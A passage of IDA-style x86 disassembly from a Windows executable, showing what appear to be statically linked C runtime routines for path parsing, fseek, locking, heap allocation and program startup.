mov [ebp+arg_0], eax
jmp short loc_41B4A3
; ---------------------------------------------------------------------------
loc_41B4C3: ; CODE XREF: sub_41B4A0+9j
pop ebp
retn
sub_41B4A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B4D0 proc near ; CODE XREF: sub_40BBCB+FAp
; sub_40C50A+5434p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_C], 0
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
push eax
call sub_418E70
add esp, 4
cmp eax, 1
jb short loc_41B52B
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx+1]
cmp edx, 3Ah
jnz short loc_41B52B
cmp [ebp+arg_4], 0
jz short loc_41B520
push 2
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_4249D0
add esp, 0Ch
mov edx, [ebp+arg_4]
mov byte ptr [edx+2], 0
loc_41B520: ; CODE XREF: sub_41B4D0+35j
mov eax, [ebp+arg_0]
add eax, 2
mov [ebp+arg_0], eax
jmp short loc_41B537
; ---------------------------------------------------------------------------
loc_41B52B: ; CODE XREF: sub_41B4D0+23j
; sub_41B4D0+2Fj
cmp [ebp+arg_4], 0
jz short loc_41B537
mov ecx, [ebp+arg_4]
mov byte ptr [ecx], 0
loc_41B537: ; CODE XREF: sub_41B4D0+59j
; sub_41B4D0+5Fj
mov [ebp+var_C], 0
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
jmp short loc_41B54F
; ---------------------------------------------------------------------------
loc_41B546: ; CODE XREF: sub_41B4D0:loc_41B5ACj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41B54F: ; CODE XREF: sub_41B4D0+74j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41B5AE
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
xor edx, edx
mov dl, byte_492641[ecx]
and edx, 4
test edx, edx
jz short loc_41B57A
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_41B5AC
; ---------------------------------------------------------------------------
loc_41B57A: ; CODE XREF: sub_41B4D0+9Dj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 2Fh
jz short loc_41B590
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 5Ch
jnz short loc_41B59B
loc_41B590: ; CODE XREF: sub_41B4D0+B3j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_C], edx
jmp short loc_41B5AC
; ---------------------------------------------------------------------------
loc_41B59B: ; CODE XREF: sub_41B4D0+BEj
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 2Eh
jnz short loc_41B5AC
mov edx, [ebp+var_4]
mov [ebp+var_8], edx
loc_41B5AC: ; CODE XREF: sub_41B4D0+A8j
; sub_41B4D0+C9j ...
jmp short loc_41B546
; ---------------------------------------------------------------------------
loc_41B5AE: ; CODE XREF: sub_41B4D0+87j
cmp [ebp+var_C], 0
jz short loc_41B604
cmp [ebp+arg_8], 0
jz short loc_41B5FC
mov eax, [ebp+var_C]
sub eax, [ebp+arg_0]
cmp eax, 0FFh
jnb short loc_41B5D2
mov ecx, [ebp+var_C]
sub ecx, [ebp+arg_0]
mov [ebp+var_14], ecx
jmp short loc_41B5D9
; ---------------------------------------------------------------------------
loc_41B5D2: ; CODE XREF: sub_41B4D0+F5j
mov [ebp+var_14], 0FFh
loc_41B5D9: ; CODE XREF: sub_41B4D0+100j
mov edx, [ebp+var_14]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_4249D0
add esp, 0Ch
mov eax, [ebp+arg_8]
add eax, [ebp+var_10]
mov byte ptr [eax], 0
loc_41B5FC: ; CODE XREF: sub_41B4D0+E8j
mov ecx, [ebp+var_C]
mov [ebp+arg_0], ecx
jmp short loc_41B610
; ---------------------------------------------------------------------------
loc_41B604: ; CODE XREF: sub_41B4D0+E2j
cmp [ebp+arg_8], 0
jz short loc_41B610
mov edx, [ebp+arg_8]
mov byte ptr [edx], 0
loc_41B610: ; CODE XREF: sub_41B4D0+132j
; sub_41B4D0+138j
cmp [ebp+var_8], 0
jz loc_41B6BA
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_0]
jb loc_41B6BA
cmp [ebp+arg_C], 0
jz short loc_41B66F
mov ecx, [ebp+var_8]
sub ecx, [ebp+arg_0]
cmp ecx, 0FFh
jnb short loc_41B645
mov edx, [ebp+var_8]
sub edx, [ebp+arg_0]
mov [ebp+var_18], edx
jmp short loc_41B64C
; ---------------------------------------------------------------------------
loc_41B645: ; CODE XREF: sub_41B4D0+168j
mov [ebp+var_18], 0FFh
loc_41B64C: ; CODE XREF: sub_41B4D0+173j
mov eax, [ebp+var_18]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_C]
push eax
call sub_4249D0
add esp, 0Ch
mov ecx, [ebp+arg_C]
add ecx, [ebp+var_10]
mov byte ptr [ecx], 0
loc_41B66F: ; CODE XREF: sub_41B4D0+15Aj
cmp [ebp+arg_10], 0
jz short loc_41B6B8
mov edx, [ebp+var_4]
sub edx, [ebp+var_8]
cmp edx, 0FFh
jnb short loc_41B68E
mov eax, [ebp+var_4]
sub eax, [ebp+var_8]
mov [ebp+var_1C], eax
jmp short loc_41B695
; ---------------------------------------------------------------------------
loc_41B68E: ; CODE XREF: sub_41B4D0+1B1j
mov [ebp+var_1C], 0FFh
loc_41B695: ; CODE XREF: sub_41B4D0+1BCj
mov ecx, [ebp+var_1C]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_10]
push ecx
call sub_4249D0
add esp, 0Ch
mov edx, [ebp+arg_10]
add edx, [ebp+var_10]
mov byte ptr [edx], 0
loc_41B6B8: ; CODE XREF: sub_41B4D0+1A3j
jmp short loc_41B70E
; ---------------------------------------------------------------------------
loc_41B6BA: ; CODE XREF: sub_41B4D0+144j
; sub_41B4D0+150j
cmp [ebp+arg_C], 0
jz short loc_41B702
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
cmp eax, 0FFh
jnb short loc_41B6D8
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_0]
mov [ebp+var_20], ecx
jmp short loc_41B6DF
; ---------------------------------------------------------------------------
loc_41B6D8: ; CODE XREF: sub_41B4D0+1FBj
mov [ebp+var_20], 0FFh
loc_41B6DF: ; CODE XREF: sub_41B4D0+206j
mov edx, [ebp+var_20]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_4249D0
add esp, 0Ch
mov eax, [ebp+arg_C]
add eax, [ebp+var_10]
mov byte ptr [eax], 0
loc_41B702: ; CODE XREF: sub_41B4D0+1EEj
cmp [ebp+arg_10], 0
jz short loc_41B70E
mov ecx, [ebp+arg_10]
mov byte ptr [ecx], 0
loc_41B70E: ; CODE XREF: sub_41B4D0:loc_41B6B8j
; sub_41B4D0+236j
mov esp, ebp
pop ebp
retn
sub_41B4D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B720 proc near ; CODE XREF: sub_40C50A+2BE0p
; .text:0041B777p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4943C0
test eax, eax
jnz short loc_41B73D
call ds:dword_4942F0
mov [ebp+var_4], eax
jmp short loc_41B744
; ---------------------------------------------------------------------------
loc_41B73D: ; CODE XREF: sub_41B720+10j
mov [ebp+var_4], 0
loc_41B744: ; CODE XREF: sub_41B720+1Bj
cmp [ebp+var_4], 0
jz short loc_41B75B
mov ecx, [ebp+var_4]
push ecx
call sub_422E80
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_41B75D
; ---------------------------------------------------------------------------
loc_41B75B: ; CODE XREF: sub_41B720+28j
xor eax, eax
loc_41B75D: ; CODE XREF: sub_41B720+39j
mov esp, ebp
pop ebp
retn
sub_41B720 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
call sub_41B720
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B790 proc near ; CODE XREF: sub_40C50A+84Fp
; sub_415CF4+2ACp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41B7C1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41B7BF
jz short loc_41B7C1
dec ecx
dec ecx
loc_41B7BF: ; CODE XREF: sub_41B790+29j
not ecx
loc_41B7C1: ; CODE XREF: sub_41B790+9j
; sub_41B790+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41B790 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B7D0 proc near ; CODE XREF: sub_415CF4+2E2p
; sub_415CF4+435p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_41B7D7: ; CODE XREF: sub_41B7D0+2Fj
cmp [ebp+arg_0], 0
jnz short loc_41B7FB
push offset aStreamNull ; "stream != NULL"
push 0
push 65h
push offset aFseek_c ; "fseek.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41B7FB
int 3 ; Trap to Debugger
loc_41B7FB: ; CODE XREF: sub_41B7D0+Bj
; sub_41B7D0+28j
xor eax, eax
test eax, eax
jnz short loc_41B7D7
mov ecx, [ebp+arg_0]
push ecx
call sub_421230
add esp, 4
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41B840
add esp, 0Ch
mov [ebp+var_4], eax
mov edx, [ebp+arg_0]
push edx
call sub_4212A0
add esp, 4
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41B7D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B840 proc near ; CODE XREF: sub_41B7D0+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_41B847: ; CODE XREF: sub_41B840+32j
cmp [ebp+arg_0], 0
jnz short loc_41B86E
push offset aStrNull ; "str != NULL"
push 0
push 92h
push offset aFseek_c ; "fseek.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41B86E
int 3 ; Trap to Debugger
loc_41B86E: ; CODE XREF: sub_41B840+Bj
; sub_41B840+2Bj
xor eax, eax
test eax, eax
jnz short loc_41B847
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_41B89B
cmp [ebp+arg_8], 0
jz short loc_41B8AE
cmp [ebp+arg_8], 1
jz short loc_41B8AE
cmp [ebp+arg_8], 2
jz short loc_41B8AE
loc_41B89B: ; CODE XREF: sub_41B840+47j
call sub_422F20
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_41B960
; ---------------------------------------------------------------------------
loc_41B8AE: ; CODE XREF: sub_41B840+4Dj
; sub_41B840+53j ...
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFEFh
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
cmp [ebp+arg_8], 1
jnz short loc_41B8DE
mov ecx, [ebp+var_4]
push ecx
call sub_424CC0
add esp, 4
mov edx, [ebp+arg_4]
add edx, eax
mov [ebp+arg_4], edx
mov [ebp+arg_8], 0
loc_41B8DE: ; CODE XREF: sub_41B840+81j
mov eax, [ebp+var_4]
push eax
call sub_421580
add esp, 4
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_41B90B
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 0FFFFFFFCh
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
jmp short loc_41B93F
; ---------------------------------------------------------------------------
loc_41B90B: ; CODE XREF: sub_41B840+B8j
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 1
test ecx, ecx
jz short loc_41B93F
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 8
test eax, eax
jz short loc_41B93F
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 400h
test edx, edx
jnz short loc_41B93F
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 200h
loc_41B93F: ; CODE XREF: sub_41B840+C9j
; sub_41B840+D6j ...
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
call sub_424B00
add esp, 0Ch
sub eax, 0FFFFFFFFh
neg eax
sbb eax, eax
neg eax
dec eax
loc_41B960: ; CODE XREF: sub_41B840+69j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41B840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B970 proc near ; CODE XREF: sub_495000j
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_432C50
push offset sub_425F84
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFA4h
push ebx
push esi
push edi
mov [ebp+var_18], esp
call ds:dword_49442C
mov dword_492094, eax
mov eax, dword_492094
shr eax, 8
and eax, 0FFh
mov dword_4920A0, eax
mov ecx, dword_492094
and ecx, 0FFh
mov dword_49209C, ecx
mov edx, dword_49209C
shl edx, 8
add edx, dword_4920A0
mov dword_492098, edx
mov eax, dword_492094
shr eax, 10h
and eax, 0FFFFh
mov dword_492094, eax
push 1
call sub_41C9C0
add esp, 4
test eax, eax
jnz short loc_41BA04
push 1Ch
call sub_41BB10
add esp, 4
loc_41BA04: ; CODE XREF: sub_41B970+88j
call sub_41F930
test eax, eax
jnz short loc_41BA17
push 10h
call sub_41BB10
add esp, 4
loc_41BA17: ; CODE XREF: sub_41B970+9Bj
mov [ebp+var_4], 0
call sub_425AC0
call ds:dword_494428
mov dword_493784, eax
call sub_4258A0
mov dword_4920D8, eax
call sub_425390
call sub_425240
call sub_41B2D0
mov [ebp+var_30], 0
lea ecx, [ebp+var_5C]
push ecx
call ds:dword_494424
call sub_425180
mov [ebp+var_64], eax
mov edx, [ebp+var_30]
and edx, 1
test edx, edx
jz short loc_41BA77
mov eax, [ebp+var_2C]
and eax, 0FFFFh
mov [ebp+var_6C], eax
jmp short loc_41BA7E
; ---------------------------------------------------------------------------
loc_41BA77: ; CODE XREF: sub_41B970+F8j
mov [ebp+var_6C], 0Ah
loc_41BA7E: ; CODE XREF: sub_41B970+105j
mov ecx, [ebp+var_6C]
push ecx
mov edx, [ebp+var_64]
push edx
push 0
push 0
call ds:dword_494380
push eax
call sub_40BBCB
mov [ebp+var_60], eax
mov eax, [ebp+var_60]
push eax
call sub_41B310
mov ecx, [ebp+var_14]
mov edx, [ecx]
mov eax, [edx]
mov [ebp+var_68], eax
mov ecx, [ebp+var_14]
push ecx
mov edx, [ebp+var_68]
push edx
call sub_424F60
add esp, 8
retn
sub_41B970 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov eax, [ebp-68h]
push eax
call sub_41B330
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BAE0 proc near ; CODE XREF: sub_41BC90+32p
; sub_41FA10+7Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp dword_4920E0, 1
jnz short loc_41BAF1
call sub_426060
loc_41BAF1: ; CODE XREF: sub_41BAE0+Aj
mov eax, [ebp+arg_0]
push eax
call sub_4260B0
add esp, 4
push 0FFh
call off_442C50
add esp, 4
pop ebp
retn
sub_41BAE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB10 proc near ; CODE XREF: sub_41B970+8Cp
; sub_41B970+9Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp dword_4920E0, 1
jnz short loc_41BB21
call sub_426060
loc_41BB21: ; CODE XREF: sub_41BB10+Aj
mov eax, [ebp+arg_0]
push eax
call sub_4260B0
add esp, 4
push 0FFh
call ds:dword_49432C
pop ebp
retn
sub_41BB10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push 9
call sub_41BC90
add esp, 4
mov eax, dword_4920E8
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4920E8, ecx
push 9
call sub_41BD30
add esp, 4
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, dword_4920E8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB80 proc near ; CODE XREF: sub_416A80+48p
; sub_41BD90+41p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4920E8
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41BBA0
mov ecx, [ebp+arg_0]
push ecx
call [ebp+var_4]
add esp, 4
test eax, eax
jnz short loc_41BBA4
loc_41BBA0: ; CODE XREF: sub_41BB80+10j
xor eax, eax
jmp short loc_41BBA9
; ---------------------------------------------------------------------------
loc_41BBA4: ; CODE XREF: sub_41BB80+1Ej
mov eax, 1
loc_41BBA9: ; CODE XREF: sub_41BB80+22j
mov esp, ebp
pop ebp
retn
sub_41BB80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBB0 proc near ; CODE XREF: sub_41F930+4p
push ebp
mov ebp, esp
mov eax, off_442C9C
push eax
call ds:dword_494430
mov ecx, off_442C8C
push ecx
call ds:dword_494430
mov edx, off_442C7C
push edx
call ds:dword_494430
mov eax, off_442C5C
push eax
call ds:dword_494430
pop ebp
retn
sub_41BBB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBF0 proc near ; CODE XREF: .text:0041F9C3p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_41BC06
; ---------------------------------------------------------------------------
loc_41BBFD: ; CODE XREF: sub_41BBF0:loc_41BC57j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41BC06: ; CODE XREF: sub_41BBF0+Bj
cmp [ebp+var_4], 30h
jge short loc_41BC59
mov ecx, [ebp+var_4]
cmp dword_442C58[ecx*4], 0
jz short loc_41BC57
cmp [ebp+var_4], 11h
jz short loc_41BC57
cmp [ebp+var_4], 0Dh
jz short loc_41BC57
cmp [ebp+var_4], 9
jz short loc_41BC57
cmp [ebp+var_4], 1
jz short loc_41BC57
mov edx, [ebp+var_4]
mov eax, dword_442C58[edx*4]
push eax
call ds:dword_494310
push 2
mov ecx, [ebp+var_4]
mov edx, dword_442C58[ecx*4]
push edx
call sub_4174C0
add esp, 8
loc_41BC57: ; CODE XREF: sub_41BBF0+27j
; sub_41BBF0+2Dj ...
jmp short loc_41BBFD
; ---------------------------------------------------------------------------
loc_41BC59: ; CODE XREF: sub_41BBF0+1Aj
mov eax, off_442C7C
push eax
call ds:dword_494310
mov ecx, off_442C8C
push ecx
call ds:dword_494310
mov edx, off_442C9C
push edx
call ds:dword_494310
mov eax, off_442C5C
push eax
call ds:dword_494310
mov esp, ebp
pop ebp
retn
sub_41BBF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BC90 proc near ; CODE XREF: sub_416A80+6p
; sub_416EC0+6p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp dword_442C58[eax*4], 0
jnz short loc_41BD12
push 0E1h
push offset aMlock_c ; "mlock.c"
push 2
push 18h
call sub_416A30
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41BCCA
push 11h
call sub_41BAE0
add esp, 4
loc_41BCCA: ; CODE XREF: sub_41BC90+2Ej
push 11h
call sub_41BC90
add esp, 4
mov ecx, [ebp+arg_0]
cmp dword_442C58[ecx*4], 0
jnz short loc_41BCFA
mov edx, [ebp+var_4]
push edx
call ds:dword_494430
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov dword_442C58[eax*4], ecx
jmp short loc_41BD08
; ---------------------------------------------------------------------------
loc_41BCFA: ; CODE XREF: sub_41BC90+4Fj
push 2
mov edx, [ebp+var_4]
push edx
call sub_4174C0
add esp, 8
loc_41BD08: ; CODE XREF: sub_41BC90+68j
push 11h
call sub_41BD30
add esp, 4
loc_41BD12: ; CODE XREF: sub_41BC90+Fj
mov eax, [ebp+arg_0]
mov ecx, dword_442C58[eax*4]
push ecx
call ds:dword_494304
mov esp, ebp
pop ebp
retn
sub_41BC90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD30 proc near ; CODE XREF: sub_416A80+2Bp
; sub_416EC0+31p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, dword_442C58[eax*4]
push ecx
call ds:dword_494300
pop ebp
retn
sub_41BD30 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
push 0
call ds:dword_494434
push 0FFh
call ds:dword_49432C
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD70 proc near ; CODE XREF: sub_41C6D0+10p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, dword_4920E4
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41BD90
add esp, 8
pop ebp
retn
sub_41BD70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD90 proc near ; CODE XREF: sub_41BD70+Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFFFE0h
jbe short loc_41BD9E
xor eax, eax
jmp short loc_41BDE3
; ---------------------------------------------------------------------------
loc_41BD9E: ; CODE XREF: sub_41BD90+8j
; sub_41BD90:loc_41BDE1j
cmp [ebp+arg_0], 0FFFFFFE0h
ja short loc_41BDB5
mov eax, [ebp+arg_0]
push eax
call sub_41BDF0
add esp, 4
mov [ebp+var_4], eax
jmp short loc_41BDBC
; ---------------------------------------------------------------------------
loc_41BDB5: ; CODE XREF: sub_41BD90+12j
mov [ebp+var_4], 0
loc_41BDBC: ; CODE XREF: sub_41BD90+23j
cmp [ebp+var_4], 0
jnz short loc_41BDC8
cmp [ebp+arg_4], 0
jnz short loc_41BDCD
loc_41BDC8: ; CODE XREF: sub_41BD90+30j
mov eax, [ebp+var_4]
jmp short loc_41BDE3
; ---------------------------------------------------------------------------
loc_41BDCD: ; CODE XREF: sub_41BD90+36j
mov ecx, [ebp+arg_0]
push ecx
call sub_41BB80
add esp, 4
test eax, eax
jnz short loc_41BDE1
xor eax, eax
jmp short loc_41BDE3
; ---------------------------------------------------------------------------
loc_41BDE1: ; CODE XREF: sub_41BD90+4Bj
jmp short loc_41BD9E
; ---------------------------------------------------------------------------
loc_41BDE3: ; CODE XREF: sub_41BD90+Cj
; sub_41BD90+3Bj ...
mov esp, ebp
pop ebp
retn
sub_41BD90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BDF0 proc near ; CODE XREF: sub_416B00+19Dp
; sub_41BD90+18p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_442D48
ja short loc_41BE2D
push 9
call sub_41BC90
add esp, 4
mov ecx, [ebp+arg_0]
push ecx
call sub_41D1D0
add esp, 4
mov [ebp+var_4], eax
push 9
call sub_41BD30
add esp, 4
cmp [ebp+var_4], 0
jz short loc_41BE2D
mov eax, [ebp+var_4]
jmp short loc_41BE59
; ---------------------------------------------------------------------------
loc_41BE2D: ; CODE XREF: sub_41BDF0+Dj
; sub_41BDF0+36j
cmp [ebp+arg_0], 0
jnz short loc_41BE3A
mov [ebp+arg_0], 1
loc_41BE3A: ; CODE XREF: sub_41BDF0+41j
mov edx, [ebp+arg_0]
add edx, 0Fh
and edx, 0FFFFFFF0h
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
push eax
push 0
mov ecx, dword_49377C
push ecx
call ds:dword_494354
loc_41BE59: ; CODE XREF: sub_41BDF0+3Bj
mov esp, ebp
pop ebp
retn
sub_41BDF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE60 proc near ; CODE XREF: sub_416B00+79p
; sub_416F00+C1p ...
push ebp
mov ebp, esp
mov eax, 1
pop ebp
retn
sub_41BE60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE70 proc near ; CODE XREF: sub_41BF80+113p
; sub_41C310+33p
push ebp
mov ebp, esp
call ds:dword_494438
pop ebp
retn
sub_41BE70 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jl short loc_41BE90
cmp dword ptr [ebp+8], 3
jl short loc_41BE95
loc_41BE90: ; CODE XREF: .text:0041BE88j
or eax, 0FFFFFFFFh
jmp short loc_41BED3
; ---------------------------------------------------------------------------
loc_41BE95: ; CODE XREF: .text:0041BE8Ej
cmp dword ptr [ebp+0Ch], 0FFFFFFFFh
jnz short loc_41BEA7
mov eax, [ebp+8]
mov eax, dword_442D20[eax*4]
jmp short loc_41BED3
; ---------------------------------------------------------------------------
loc_41BEA7: ; CODE XREF: .text:0041BE99j
mov ecx, [ebp+0Ch]
and ecx, 0FFFFFFF8h
test ecx, ecx
jz short loc_41BEB6
or eax, 0FFFFFFFFh
jmp short loc_41BED3
; ---------------------------------------------------------------------------
loc_41BEB6: ; CODE XREF: .text:0041BEAFj
mov edx, [ebp+8]
mov eax, dword_442D20[edx*4]
mov [ebp-4], eax
mov ecx, [ebp+8]
mov edx, [ebp+0Ch]
mov dword_442D20[ecx*4], edx
mov eax, [ebp-4]
loc_41BED3: ; CODE XREF: .text:0041BE93j
; .text:0041BEA5j ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jl short loc_41BEF0
cmp dword ptr [ebp+8], 3
jl short loc_41BEF7
loc_41BEF0: ; CODE XREF: .text:0041BEE8j
mov eax, 0FFFFFFFEh
jmp short loc_41BF5A
; ---------------------------------------------------------------------------
loc_41BEF7: ; CODE XREF: .text:0041BEEEj
cmp dword ptr [ebp+0Ch], 0FFFFFFFAh
jnz short loc_41BF09
mov eax, [ebp+8]
mov eax, dword_442D2C[eax*4]
jmp short loc_41BF5A
; ---------------------------------------------------------------------------
loc_41BF09: ; CODE XREF: .text:0041BEFBj
mov ecx, [ebp+8]
mov edx, dword_442D2C[ecx*4]
mov [ebp-4], edx
cmp dword ptr [ebp+0Ch], 0FFFFFFFCh
jnz short loc_41BF30
push 0FFFFFFF5h
call ds:dword_49443C
mov ecx, [ebp+8]
mov dword_442D2C[ecx*4], eax
jmp short loc_41BF57
; ---------------------------------------------------------------------------
loc_41BF30: ; CODE XREF: .text:0041BF1Aj
cmp dword ptr [ebp+0Ch], 0FFFFFFFBh
